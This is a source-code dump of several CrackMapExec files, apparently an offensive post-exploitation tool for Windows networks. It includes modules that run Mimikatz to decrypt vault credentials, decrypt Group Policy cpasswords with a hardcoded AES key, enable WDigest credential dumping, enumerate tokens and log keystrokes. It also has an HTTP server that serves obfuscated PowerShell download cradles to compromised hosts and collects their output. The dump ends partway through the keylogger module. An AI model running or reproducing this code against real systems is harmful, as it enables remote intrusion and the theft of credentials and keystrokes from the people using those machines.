16 | INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True)
17 | '''
18 |
19 | self.exec_methods = ['smbexec', 'atexec']
20 | self.inject = True
21 | if 'INJECT' in module_options:
22 | self.inject = bool(module_options['INJECT'])
23 |
24 | if self.inject: self.exec_methods = None
25 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
26 | self.ps_script2 = obfs_ps_script('powersploit/Recon/PowerView.ps1')
27 |
28 | def on_admin_login(self, context, connection):
29 | command = 'Get-NetDomainController | select Name,Domain,IPAddress | Out-String'
30 | launcher = gen_ps_iex_cradle(context, 'PowerView.ps1', command)
31 |
32 | if self.inject:
33 | launcher = gen_ps_inject(launcher, context, inject_once=True)
34 |
35 | connection.ps_execute(launcher, methods=self.exec_methods)
36 |
37 | context.log.success('Executed launcher')
38 |
39 | def on_request(self, context, request):
40 | if 'Invoke-PSInject.ps1' == request.path[1:]:
41 | request.send_response(200)
42 | request.end_headers()
43 |
44 | request.wfile.write(self.ps_script1)
45 |
46 | elif 'PowerView.ps1' == request.path[1:]:
47 | request.send_response(200)
48 | request.end_headers()
49 |
50 | request.wfile.write(self.ps_script2)
51 |
52 | else:
53 | request.send_response(404)
54 | request.end_headers()
55 |
56 | def on_response(self, context, response):
57 | response.send_response(200)
58 | response.end_headers()
59 | length = int(response.headers.getheader('content-length'))
60 | data = response.rfile.read(length)
61 |
62 | #We've received the response, stop tracking this host
63 | response.stop_tracking_host()
64 |
65 | dc_count = 0
66 | if len(data):
67 | buf = StringIO(data).readlines()
68 | for line in buf:
69 | if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'):
70 | try:
71 | hostname, domain, ip = filter(None, line.strip().split(' '))
72 | hostname = hostname.split('.')[0].upper()
73 | domain = domain.split('.')[0].upper()
74 | context.log.highlight('Hostname: {} Domain: {} IP: {}'.format(hostname, domain, ip))
75 | context.db.add_computer(ip, hostname, domain, '', dc=True)
76 | dc_count += 1
77 | except Exception:
78 | context.log.error('Error parsing Domain Controller entry')
79 |
80 | context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count)))
81 |
82 | log_name = 'Get_NetDomainController-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
83 | write_log(data, log_name)
84 | context.log.info("Saved raw output to {}".format(log_name))
--------------------------------------------------------------------------------
/cme/protocols/http/database.py:
--------------------------------------------------------------------------------
1 | class database:
2 |
3 | def __init__(self, conn):
4 | self.conn = conn
5 |
6 | @staticmethod
7 | def db_schema(db_conn):
8 | db_conn.execute('''CREATE TABLE "credentials" (
9 | "id" integer PRIMARY KEY,
10 | "username" text,
11 | "password" text
12 | )''')
13 |
14 | db_conn.execute('''CREATE TABLE "hosts" (
15 | "id" integer PRIMARY KEY,
16 | "ip" text,
17 | "hostname" text,
18 | "port" integer,
19 | "server" text,
20 | "page_title" text,
21 | "login_url" text
22 | )''')
23 |
24 | def add_credential(self, url, username, password):
25 | """
26 | Check if this credential has already been added to the database, if not add it in.
27 | """
28 | cur = self.conn.cursor()
29 |
30 | cur.execute("SELECT * FROM credentials WHERE LOWER(username)=LOWER(?) AND password=?", [url, username, password])
31 | results = cur.fetchall()
32 |
33 | if not len(results):
34 | cur.execute("INSERT INTO credentials (username, password) VALUES (?,?)", [username, password] )
35 |
36 | cur.close()
37 |
38 | def add_host(self, ip, hostname, port, title=None, login_url=None):
39 | cur = self.conn.cursor()
40 |
41 | cur.execute("SELECT * FROM hosts WHERE LOWER(ip)=LOWER(?) AND LOWER(hostname)=LOWER(?) AND port=? AND LOWER(login_url)=LOWER(?)", [ip, hostname, port, login_url])
42 | results = cur.fetchall()
43 |
44 | if not len(results):
45 | cur.execute("INSERT INTO hosts (ip, hostname, port, login_url) VALUES (?,?,?,?)", [ip, hostname, port, login_url])
46 |
47 | cur.close()
48 |
49 | def is_credential_valid(self, credentialID):
50 | """
51 | Check if this credential ID is valid.
52 | """
53 | cur = self.conn.cursor()
54 | cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID])
55 | results = cur.fetchall()
56 | cur.close()
57 | return len(results) > 0
58 |
59 | def is_host_valid(self, hostID):
60 | """
61 | Check if this credential ID is valid.
62 | """
63 | cur = self.conn.cursor()
64 | cur.execute('SELECT * FROM host WHERE id=? LIMIT 1', [hostID])
65 | results = cur.fetchall()
66 | cur.close()
67 | return len(results) > 0
68 |
69 | def get_credentials(self, filterTerm=None):
70 | """
71 | Return credentials from the database.
72 | """
73 |
74 | cur = self.conn.cursor()
75 |
76 | # if we're returning a single credential by ID
77 | if self.is_credential_valid(filterTerm):
78 | cur.execute("SELECT * FROM credentials WHERE id=? LIMIT 1", [filterTerm])
79 |
80 | # if we're filtering by username
81 | elif filterTerm and filterTerm != "":
82 | cur.execute("SELECT * FROM credentials WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())])
83 |
84 | # otherwise return all credentials
85 | else:
86 | cur.execute("SELECT * FROM credentials")
87 |
88 | results = cur.fetchall()
89 | cur.close()
90 | return results
91 |
92 | def remove_credentials(self, credIDs):
93 | """
94 | Removes a credential ID from the database
95 | """
96 | for credID in credIDs:
97 | cur = self.conn.cursor()
98 | cur.execute("DELETE FROM credentials WHERE id=?", [credID])
99 | cur.close()
100 |
--------------------------------------------------------------------------------
/cme/first_run.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sqlite3
3 | import shutil
4 | import cme
5 | from ConfigParser import ConfigParser, NoSectionError, NoOptionError
6 | from cme.loaders.protocol_loader import protocol_loader
7 | from subprocess import check_output, PIPE
8 | from sys import exit
9 |
10 | CME_PATH = os.path.expanduser('~/.cme')
11 | TMP_PATH = os.path.join('/tmp', 'cme_hosted')
12 | WS_PATH = os.path.join(CME_PATH, 'workspaces')
13 | CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
14 | CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
15 |
16 |
17 | def first_run_setup(logger):
18 |
19 | if not os.path.exists(TMP_PATH):
20 | os.mkdir(TMP_PATH)
21 |
22 | if not os.path.exists(CME_PATH):
23 | logger.info('First time use detected')
24 | logger.info('Creating home directory structure')
25 | os.mkdir(CME_PATH)
26 |
27 | folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts']
28 | for folder in folders:
29 | if not os.path.exists(os.path.join(CME_PATH, folder)):
30 | os.mkdir(os.path.join(CME_PATH, folder))
31 |
32 | if not os.path.exists(os.path.join(WS_PATH, 'default')):
33 | logger.info('Creating default workspace')
34 | os.mkdir(os.path.join(WS_PATH, 'default'))
35 |
36 | p_loader = protocol_loader()
37 | protocols = p_loader.get_protocols()
38 | for protocol in protocols.keys():
39 | try:
40 | protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath'])
41 | except KeyError:
42 | continue
43 |
44 | proto_db_path = os.path.join(WS_PATH, 'default', protocol + '.db')
45 |
46 | if not os.path.exists(proto_db_path):
47 | logger.info('Initializing {} protocol database'.format(protocol.upper()))
48 | conn = sqlite3.connect(proto_db_path)
49 | c = conn.cursor()
50 |
51 | # try to prevent some of the weird sqlite I/O errors
52 | c.execute('PRAGMA journal_mode = OFF')
53 | c.execute('PRAGMA foreign_keys = 1')
54 |
55 | getattr(protocol_object, 'database').db_schema(c)
56 |
57 | # commit the changes and close everything off
58 | conn.commit()
59 | conn.close()
60 |
61 | if not os.path.exists(CONFIG_PATH):
62 | logger.info('Copying default configuration file')
63 | default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
64 | shutil.copy(default_path, CME_PATH)
65 | else:
66 | # This is just a quick check to make sure the config file isn't the old 3.x format
67 | try:
68 | config = ConfigParser()
69 | config.read(CONFIG_PATH)
70 | config.get('CME', 'workspace')
71 | config.get('CME', 'pwn3d_label')
72 | except (NoSectionError, NoOptionError):
73 | logger.info('Old configuration file detected, replacing with new version')
74 | default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
75 | shutil.copy(default_path, CME_PATH)
76 |
77 | if not os.path.exists(CERT_PATH):
78 | logger.info('Generating SSL certificate')
79 | try:
80 | check_output(['openssl', 'help'], stderr=PIPE)
81 | except OSError as e:
82 | if e.errno == os.errno.ENOENT:
83 | logger.error('OpenSSL command line utility is not installed, could not generate certificate')
84 | exit(1)
85 | else:
86 | logger.error('Error while generating SSL certificate: {}'.format(e))
87 | exit(1)
88 |
89 | os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
90 |
--------------------------------------------------------------------------------
/cme/modules/wdigest.py:
--------------------------------------------------------------------------------
1 | from impacket.dcerpc.v5.rpcrt import DCERPCException
2 | from impacket.dcerpc.v5 import rrp
3 | from impacket.examples.secretsdump import RemoteOperations
4 | from sys import exit
5 |
6 | class CMEModule:
7 |
8 | name = 'wdigest'
9 | description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
10 | supported_protocols = ['smb']
11 | opsec_safe = True
12 | multiple_hosts = True
13 |
14 | def options(self, context, module_options):
15 | '''
16 | ACTION Create/Delete the registry key (choices: enable, disable)
17 | '''
18 |
19 | if not 'ACTION' in module_options:
20 | context.log.error('ACTION option not specified!')
21 | exit(1)
22 |
23 | if module_options['ACTION'].lower() not in ['enable', 'disable']:
24 | context.log.error('Invalid value for ACTION option!')
25 | exit(1)
26 |
27 | self.action = module_options['ACTION'].lower()
28 |
29 | def on_admin_login(self, context, connection):
30 | if self.action == 'enable':
31 | self.wdigest_enable(context, connection.conn)
32 | elif self.action == 'disable':
33 | self.wdigest_disable(context, connection.conn)
34 |
35 | def wdigest_enable(self, context, smbconnection):
36 | remoteOps = RemoteOperations(smbconnection, False)
37 | remoteOps.enableRegistry()
38 |
39 | if remoteOps._RemoteOperations__rrp:
40 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
41 | regHandle = ans['phKey']
42 |
43 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
44 | keyHandle = ans['phkResult']
45 |
46 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1)
47 |
48 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
49 |
50 | if int(data) == 1:
51 | context.log.success('UseLogonCredential registry key created successfully')
52 |
53 | try:
54 | remoteOps.finish()
55 | except:
56 | pass
57 |
58 | def wdigest_disable(self, context, smbconnection):
59 | remoteOps = RemoteOperations(smbconnection, False)
60 | remoteOps.enableRegistry()
61 |
62 | if remoteOps._RemoteOperations__rrp:
63 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
64 | regHandle = ans['phKey']
65 |
66 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
67 | keyHandle = ans['phkResult']
68 |
69 | try:
70 | rrp.hBaseRegDeleteValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
71 | except:
72 | context.log.success('UseLogonCredential registry key not present')
73 |
74 | try:
75 | remoteOps.finish()
76 | except:
77 | pass
78 |
79 | return
80 |
81 | try:
82 | #Check to make sure the reg key is actually deleted
83 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'UseLogonCredential\x00')
84 | except DCERPCException:
85 | context.log.success('UseLogonCredential registry key deleted successfully')
86 |
87 | try:
88 | remoteOps.finish()
89 | except:
90 | pass
91 |
92 |
--------------------------------------------------------------------------------
/cme/loaders/module_loader.py:
--------------------------------------------------------------------------------
1 | import imp
2 | import os
3 | import sys
4 | import cme
5 | from cme.context import Context
6 | from cme.logger import CMEAdapter
7 |
8 | class module_loader:
9 |
10 | def __init__(self, args, db, logger):
11 | self.args = args
12 | self.db = db
13 | self.logger = logger
14 | self.cme_path = os.path.expanduser('~/.cme')
15 |
16 | def module_is_sane(self, module, module_path):
17 | module_error = False
18 |
19 | if not hasattr(module, 'name'):
20 | self.logger.error('{} missing the name variable'.format(module_path))
21 | module_error = True
22 |
23 | elif not hasattr(module, 'description'):
24 | self.logger.error('{} missing the description variable'.format(module_path))
25 | module_error = True
26 |
27 | #elif not hasattr(module, 'chain_support'):
28 | # self.logger.error('{} missing the chain_support variable'.format(module_path))
29 | # module_error = True
30 |
31 | elif not hasattr(module, 'supported_protocols'):
32 | self.logger.error('{} missing the supported_protocols variable'.format(module_path))
33 | module_error = True
34 |
35 | elif not hasattr(module, 'opsec_safe'):
36 | self.logger.error('{} missing the opsec_safe variable'.format(module_path))
37 | module_error = True
38 |
39 | elif not hasattr(module, 'multiple_hosts'):
40 | self.logger.error('{} missing the multiple_hosts variable'.format(module_path))
41 | module_error = True
42 |
43 | elif not hasattr(module, 'options'):
44 | self.logger.error('{} missing the options function'.format(module_path))
45 | module_error = True
46 |
47 | elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
48 | self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
49 | module_error = True
50 |
51 | if module_error: return False
52 |
53 | return True
54 |
55 | def load_module(self, module_path):
56 | try:
57 | module = imp.load_source('payload_module', module_path).CMEModule()
58 | if self.module_is_sane(module, module_path):
59 | return module
60 | except Exception as e:
61 | self.logger.error('Failed loading module at {}: {}'.format(module_path, e))
62 |
63 | return None
64 |
65 | def get_modules(self):
66 | modules = {}
67 |
68 | modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(self.cme_path, 'modules')]
69 |
70 | for path in modules_paths:
71 | for module in os.listdir(path):
72 | if module[-3:] == '.py' and module != 'example_module.py':
73 | module_path = os.path.join(path, module)
74 | m = self.load_module(os.path.join(path, module))
75 | if m and (self.args.protocol in m.supported_protocols):
76 | modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}#'chain_support': m.chain_support}
77 |
78 | return modules
79 |
80 | def init_module(self, module_path):
81 |
82 | module = None
83 |
84 | module = self.load_module(module_path)
85 |
86 | if module:
87 | module_logger = CMEAdapter(extra={'module': module.name.upper()})
88 | context = Context(self.db, module_logger, self.args)
89 |
90 | module_options = {}
91 |
92 | for option in self.args.module_options:
93 | key, value = option.split('=', 1)
94 | module_options[str(key).upper()] = value
95 |
96 | module.options(context, module_options)
97 |
98 | return module
99 |
--------------------------------------------------------------------------------
/cme/modules/mimikatz_enum_vault_creds.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.logger import write_log
3 | from datetime import datetime
4 | from StringIO import StringIO
5 |
6 | class CMEModule:
7 | '''
8 | Executes PowerSploit's Invoke-Mimikatz.ps1 script and decrypts stored credentials in Windows Vault/Credential Manager
9 | Module by @byt3bl33d3r
10 | '''
11 |
12 | name = 'mimikatz_enum_vault_creds'
13 | description = "Decrypts saved credentials in Windows Vault/Credential Manager"
14 | opsec_safe = True
15 | multiple_hosts = True
16 | supported_protocols = ['smb', 'mssql']
17 |
18 | def options(self, context, module_options):
19 | '''
20 | '''
21 |
22 | self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-Mimikatz.ps1')
23 |
24 | def on_admin_login(self, context, connection):
25 | command = "Invoke-Mimikatz -Command 'privilege::debug"
26 | users = []
27 |
28 | loggedon_users = connection.loggedon_users()
29 | for user in loggedon_users:
30 | if not user.wkui1_username.endswith('$'):
31 | users.append(user.wkui1_username)
32 |
33 | if not users:
34 | context.log.error('No logged in users!')
35 | return
36 |
37 | for user in users:
38 | command += ' "token::elevate /user:{}" vault::list'.format(user)
39 | command += " exit'"
40 |
41 | launcher = gen_ps_iex_cradle(context, 'Invoke-Mimikatz.ps1', command)
42 |
43 | connection.ps_execute(launcher)
44 | context.log.success('Executed launcher')
45 |
46 | def on_request(self, context, request):
47 | if 'Invoke-Mimikatz.ps1' == request.path[1:]:
48 | request.send_response(200)
49 | request.end_headers()
50 |
51 | request.wfile.write(self.ps_script)
52 |
53 | else:
54 | request.send_response(404)
55 | request.end_headers()
56 |
57 | def on_response(self, context, response):
58 | response.send_response(200)
59 | response.end_headers()
60 | length = int(response.headers.getheader('content-length'))
61 | data = response.rfile.read(length)
62 |
63 | #We've received the response, stop tracking this host
64 | response.stop_tracking_host()
65 |
66 | if len(data):
67 | buf = StringIO(data).readlines()
68 | creds = []
69 |
70 | try:
71 | i = 0
72 | while i < len(buf):
73 | if ('Ressource' in buf[i]):
74 | url = buf[i].split(':', 1)[1].strip().replace('[STRING]', '')
75 | user = buf[i+1].split(':', 1)[1].strip().replace('[STRING]', '')
76 | passw = buf[i+4].split(':', 1)[1].strip().replace('[STRING]', '')
77 |
78 | if '[BYTE*]' not in passw:
79 | creds.append({'url': url, 'user': user, 'passw': passw})
80 |
81 | i += 1
82 | except:
83 | context.log.error('Error parsing Mimikatz output, please check log file manually for possible credentials')
84 |
85 | if creds:
86 | context.log.success('Found saved Vault credentials:')
87 | for cred in creds:
88 | if cred['user'] and cred['passw']:
89 | context.log.highlight('URL: ' + cred['url'])
90 | context.log.highlight('Username: ' + cred['user'])
91 | context.log.highlight('Password: ' + cred['passw'])
92 | context.log.highlight('')
93 |
94 | log_name = 'EnumVaultCreds-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
95 | write_log(data, log_name)
96 | context.log.info("Saved Mimikatz's output to {}".format(log_name))
97 |
--------------------------------------------------------------------------------
/cme/modules/tokens.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from datetime import datetime
3 | from StringIO import StringIO
4 | import os
5 | import sys
6 |
7 | class CMEModule:
8 | '''
9 | Enumerates available tokens using Powersploit's Invoke-TokenManipulation
10 | Module by @byt3bl33d3r
11 | '''
12 |
13 | name = 'tokens'
14 | description = "Enumerates available tokens"
15 | supported_protocols = ['mssql', 'smb']
16 | opsec_safe = True
17 | multiple_hosts = True
18 |
19 | def options(self, context, module_options):
20 | '''
21 | USER Search for the specified username in available tokens (default: None)
22 | USERFILE File containing usernames to search for in available tokens (defult: None)
23 | '''
24 |
25 | self.user = None
26 | self.userfile = None
27 |
28 | if 'USER' in module_options and 'USERFILE' in module_options:
29 | context.log.error('USER and USERFILE options are mutually exclusive!')
30 | sys.exit(1)
31 |
32 | if 'USER' in module_options:
33 | self.user = module_options['USER']
34 |
35 | elif 'USERFILE' in module_options:
36 | path = os.path.expanduser(module_options['USERFILE'])
37 |
38 | if not os.path.exists(path):
39 | context.log.error('Path to USERFILE invalid!')
40 | sys.exit(1)
41 |
42 | self.userfile = path
43 |
44 | self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-TokenManipulation.ps1')
45 |
46 | def on_admin_login(self, context, connection):
47 | command = "Invoke-TokenManipulation -Enumerate | Select-Object Domain, Username, ProcessId, IsElevated | Out-String"
48 | launcher = gen_ps_iex_cradle(context, 'Invoke-TokenManipulation.ps1', command)
49 |
50 | connection.ps_execute(launcher, methods=['smbexec'])
51 | context.log.success('Executed payload')
52 |
53 | def on_request(self, context, request):
54 | if 'Invoke-TokenManipulation.ps1' == request.path[1:]:
55 | request.send_response(200)
56 | request.end_headers()
57 |
58 | request.wfile.write(self.ps_script)
59 |
60 | else:
61 | request.send_response(404)
62 | request.end_headers()
63 |
64 | def on_response(self, context, response):
65 | response.send_response(200)
66 | response.end_headers()
67 | length = int(response.headers.getheader('content-length'))
68 | data = response.rfile.read(length)
69 |
70 | #We've received the response, stop tracking this host
71 | response.stop_tracking_host()
72 |
73 | if len(data) > 0:
74 |
75 | def print_post_data(data):
76 | buf = StringIO(data.strip()).readlines()
77 | for line in buf:
78 | context.log.highlight(line.strip())
79 |
80 | context.log.success('Enumerated available tokens')
81 |
82 | if self.user:
83 | if data.find(self.user) != -1:
84 | context.log.success("Found token for user {}!".format(self.user))
85 | print_post_data(data)
86 |
87 | elif self.userfile:
88 | with open(self.userfile, 'r') as userfile:
89 | for user in userfile:
90 | user = user.strip()
91 | if data.find(user) != -1:
92 | context.log.success("Found token for user {}!".format(user))
93 | print_post_data(data)
94 | break
95 |
96 | else:
97 | print_post_data(data)
98 |
99 | log_name = 'Tokens-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
100 | write_log(data, log_name)
101 | context.log.info("Saved output to {}".format(log_name))
102 |
--------------------------------------------------------------------------------
/cme/modules/gpp_password.py:
--------------------------------------------------------------------------------
1 | import xml.etree.ElementTree as ET
2 | from Crypto.Cipher import AES
3 | from base64 import b64decode
4 | from binascii import unhexlify
5 | from StringIO import StringIO
6 |
7 | class CMEModule:
8 | '''
9 | Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
10 | Module by @byt3bl33d3r
11 | '''
12 |
13 | name = 'gpp_password'
14 | description = 'Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.'
15 | supported_protocols = ['smb']
16 | opsec_safe = True
17 | multiple_hosts = True
18 |
19 | def options(self, context, module_options):
20 | '''
21 | '''
22 |
23 | def on_login(self, context, connection):
24 | shares = connection.shares()
25 | for share in shares:
26 | if share['name'] == 'SYSVOL' and 'READ' in share['access']:
27 |
28 | context.log.success('Found SYSVOL share')
29 | context.log.info('Searching for potential XML files containing passwords')
30 |
31 | paths = connection.spider('SYSVOL', pattern=['Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'])
32 |
33 | for path in paths:
34 | context.log.info('Found {}'.format(path))
35 |
36 | buf = StringIO()
37 | connection.conn.getFile('SYSVOL', path, buf.write)
38 | xml = ET.fromstring(buf.getvalue())
39 |
40 | if 'Groups.xml' in path:
41 | xml_section = xml.findall("./User/Properties")
42 |
43 | elif 'Services.xml' in path:
44 | xml_section = xml.findall('./NTService/Properties')
45 |
46 | elif 'Scheduledtasks.xml' in path:
47 | xml_section = xml.findall('./Task/Properties')
48 |
49 | elif 'DataSources.xml' in path:
50 | xml_section = xml.findall('./DataSource/Properties')
51 |
52 | elif 'Printers.xml' in path:
53 | xml_section = xml.findall('./SharedPrinter/Properties')
54 |
55 | elif 'Drives.xml' in path:
56 | xml_section = xml.findall('./Drive/Properties')
57 |
58 | for attr in xml_section:
59 | props = attr.attrib
60 |
61 | if props.has_key('cpassword'):
62 |
63 | for user_tag in ['userName', 'accountName', 'runAs', 'username']:
64 | if props.has_key(user_tag):
65 | username = props[user_tag]
66 |
67 | password = self.decrypt_cpassword(props['cpassword'])
68 |
69 | context.log.success('Found credentials in {}'.format(path))
70 | context.log.highlight('Password: {}'.format(password))
71 | for k,v in props.iteritems():
72 | if k != 'cpassword':
73 | context.log.highlight('{}: {}'.format(k, v))
74 |
75 | hostid = context.db.get_computers(connection.host)[0][0]
76 | context.db.add_credential('plaintext', '', username, password, pillaged_from=hostid)
77 |
78 | def decrypt_cpassword(self, cpassword):
79 |
80 | #Stolen from https://github.com/leonteale/pentestpackage/blob/master/Gpprefdecrypt.py
81 |
82 | # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
83 | key = unhexlify('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
84 | try:
85 | password = b64decode(cpassword)
86 | except TypeError:
87 | cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
88 | password = b64decode(cpassword)
89 |
90 | decypted = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
91 |
92 | return decypted[:-ord(decypted[-1])].decode('utf16')
--------------------------------------------------------------------------------
/cme/servers/http.py:
--------------------------------------------------------------------------------
1 | import BaseHTTPServer
2 | import threading
3 | import ssl
4 | import os
5 | import sys
6 | import logging
7 | from BaseHTTPServer import BaseHTTPRequestHandler
8 | from gevent import sleep
9 | from cme.helpers.logger import highlight
10 | from cme.logger import CMEAdapter
11 |
12 | class RequestHandler(BaseHTTPRequestHandler):
13 |
14 | def log_message(self, format, *args):
15 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
16 | server_logger.info("- - %s" % (format%args))
17 |
18 | def do_GET(self):
19 | if hasattr(self.server.module, 'on_request'):
20 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
21 | self.server.context.log = server_logger
22 | self.server.module.on_request(self.server.context, self)
23 |
24 | def do_POST(self):
25 | if hasattr(self.server.module, 'on_response'):
26 | server_logger = CMEAdapter(extra={'module': self.server.module.name.upper(), 'host': self.client_address[0]})
27 | self.server.context.log = server_logger
28 | self.server.module.on_response(self.server.context, self)
29 |
30 | def stop_tracking_host(self):
31 | '''
32 | This gets called when a module has finshed executing, removes the host from the connection tracker list
33 | '''
34 | try:
35 | self.server.hosts.remove(self.client_address[0])
36 | if hasattr(self.server.module, 'on_shutdown'):
37 | self.server.module.on_shutdown(self.server.context, self.server.connection)
38 | except ValueError:
39 | pass
40 |
41 | class CMEServer(threading.Thread):
42 |
43 | def __init__(self, module, context, logger, srv_host, port, server_type='https'):
44 |
45 | try:
46 | threading.Thread.__init__(self)
47 |
48 | self.server = BaseHTTPServer.HTTPServer((srv_host, int(port)), RequestHandler)
49 | self.server.hosts = []
50 | self.server.module = module
51 | self.server.context = context
52 | self.server.log = CMEAdapter(extra={'module': self.server.module.name.upper()})
53 | self.cert_path = os.path.join(os.path.expanduser('~/.cme'), 'cme.pem')
54 | self.server.track_host = self.track_host
55 |
56 | logging.debug('CME server type: ' + server_type)
57 | if server_type == 'https':
58 | self.server.socket = ssl.wrap_socket(self.server.socket, certfile=self.cert_path, server_side=True)
59 |
60 | except Exception as e:
61 | errno, message = e.args
62 | if errno == 98 and message == 'Address already in use':
63 | logger.error('Error starting HTTP(S) server: the port is already in use, try specifying a diffrent port using --server-port')
64 | else:
65 | logger.error('Error starting HTTP(S) server: {}'.format(message))
66 |
67 | sys.exit(1)
68 |
69 | def base_server(self):
70 | return self.server
71 |
72 | def track_host(self, host_ip):
73 | self.server.hosts.append(host_ip)
74 |
75 | def run(self):
76 | try:
77 | self.server.serve_forever()
78 | except:
79 | pass
80 |
81 | def shutdown(self):
82 | try:
83 | while len(self.server.hosts) > 0:
84 | self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
85 | sleep(15)
86 | except KeyboardInterrupt:
87 | pass
88 |
89 | # shut down the server/socket
90 | self.server.shutdown()
91 | self.server.socket.close()
92 | self.server.server_close()
93 | self._Thread__stop()
94 |
95 | # make sure all the threads are killed
96 | for thread in threading.enumerate():
97 | if thread.isAlive():
98 | try:
99 | thread._Thread__stop()
100 | except:
101 | pass
102 |
--------------------------------------------------------------------------------
/cme/modules/get_keystrokes.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.misc import gen_random_string
3 | from cme.servers.smb import CMESMBServer
4 | from gevent import sleep
5 | from sys import exit
6 | import os
7 |
8 | class CMEModule:
9 | '''
10 | Executes PowerSploit's Get-Keystrokes script
11 | Module by @byt3bl33d3r
12 | '''
13 |
14 | name = 'get_keystrokes'
15 | description = "Logs keys pressed, time and the active window"
16 | supported_protocols = ['smb', 'mssql']
17 | opsec_safe = True
18 | multiple_hosts = True
19 |
20 | def options(self, context, module_options):
21 | '''
22 | TIMEOUT Specifies the interval in minutes to capture keystrokes.
23 | STREAM Specifies whether to stream the keys over the network (default: False)
24 | POLL Specifies the interval in seconds to poll the log file (default: 20)
25 | '''
26 |
27 | if 'TIMEOUT' not in module_options:
28 | context.log.error('TIMEOUT option is required!')
29 | exit(1)
30 |
31 | self.stream = False
32 | self.poll = 20
33 | self.timeout = int(module_options['TIMEOUT'])
34 |
35 | if 'STREAM' in module_options:
36 | self.stream = bool(module_options['STREAM'])
37 | if 'POLL' in module_options:
38 | self.poll = int(module_options['POLL'])
39 |
40 | context.log.info('This module will not exit until CTRL-C is pressed')
41 | context.log.info('Keystrokes will be stored in ~/.cme/logs\n')
42 |
43 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
44 | self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-Keystrokes.ps1')
45 |
46 | if self.stream:
47 | self.share_name = gen_random_string(5).upper()
48 | self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path)
49 | self.smb_server.start()
50 | else:
51 | self.file_name = gen_random_string(5)
52 |
53 | def on_admin_login(self, context, connection):
54 | keys_folder = 'get_keystrokes_{}'.format(connection.host)
55 |
56 | if not self.stream:
57 | command = 'Get-Keystrokes -LogPath "$Env:Temp\\{}" -Timeout {}'.format(self.file_name, self.timeout)
58 | else:
59 | command = 'Get-Keystrokes -LogPath \\\\{}\\{}\\{}\\keys.log -Timeout {}'.format(context.localip, self.share_name, keys_folder, self.timeout)
60 |
61 | keys_command = gen_ps_iex_cradle(context, 'Get-Keystrokes.ps1', command, post_back=False)
62 |
63 | launcher = gen_ps_inject(keys_command, context)
64 |
65 | connection.ps_execute(launcher)
66 | context.log.success('Executed launcher')
67 |
68 | if not self.stream:
69 | users = connection.loggedon_users()
70 | keys_folder_path = os.path.join(context.log_folder_path, keys_folder)
71 |
72 | try:
73 | while True:
74 | for user in users:
75 | if '$' not in user.wkui1_username and os.path.exists(keys_folder_path):
76 | keys_log = os.path.join(keys_folder_path, 'keys_{}.log'.format(user.wkui1_username))
77 |
78 | with open(keys_log, 'a+') as key_file:
